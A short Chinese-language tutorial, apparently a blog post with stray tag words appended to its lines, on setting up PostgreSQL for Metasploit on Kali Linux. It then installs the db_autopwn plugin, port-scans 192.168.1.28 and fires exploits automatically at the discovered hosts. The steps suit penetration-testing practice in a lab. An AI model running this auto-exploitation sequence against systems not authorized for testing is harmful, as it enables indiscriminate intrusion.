環境:kali-linux-2017.3-vm-amd64linux
1、安裝postgresql數據庫git
apt-get install postgresqlgithub
apt-get install rubygems libpq-devsql
apt-get install libreadline-dev數據庫
apt-get install libssl-devruby
apt-get install libpq5tcp
apt-get install ruby-devpost
apt-get install libpq-dev插件
直接所有copy到kali中執行便可postgresql
2、自動配置數據庫
service postgres start 啓動服務
msfdb init 自動建立數據庫、用戶、密碼
3、手動配置數據庫
passwd postgres 修改postgresql數據庫密碼
su postgres 進入數據庫
createuser hello –P 建立用戶hello,並設置密碼
createdb --owner=hello db_hello 給用戶hello建立一個數據庫db_hello
psql db_hello 進入db_hello數據庫
4、安裝db_autopwn.rb模塊
cd /usr/share/metasploit-framework/plugins 定位到msf插件目錄
git clone https://github.com/hahwul/metasploit-db_autopwn.git 安裝db_autopwn
cd metasploit-db_autopwn
mv db_autopwn.rb /usr/share/metasploit-framework/plugins
打開msfconsole,查看db_autopwn是否安裝成功,執行以下命令:
load db_autopwn 出現下圖結果說明安裝成功
5、藉助db_autopwn進行自動加載模塊進行攻擊
msfconsole
use auxiliary/scanner/portscan/tcp 調用tcp掃描模塊
set rhosts 192.168.1.28
set threads 10
exploit
自動加載模塊
db_autopwn –t –p –r –e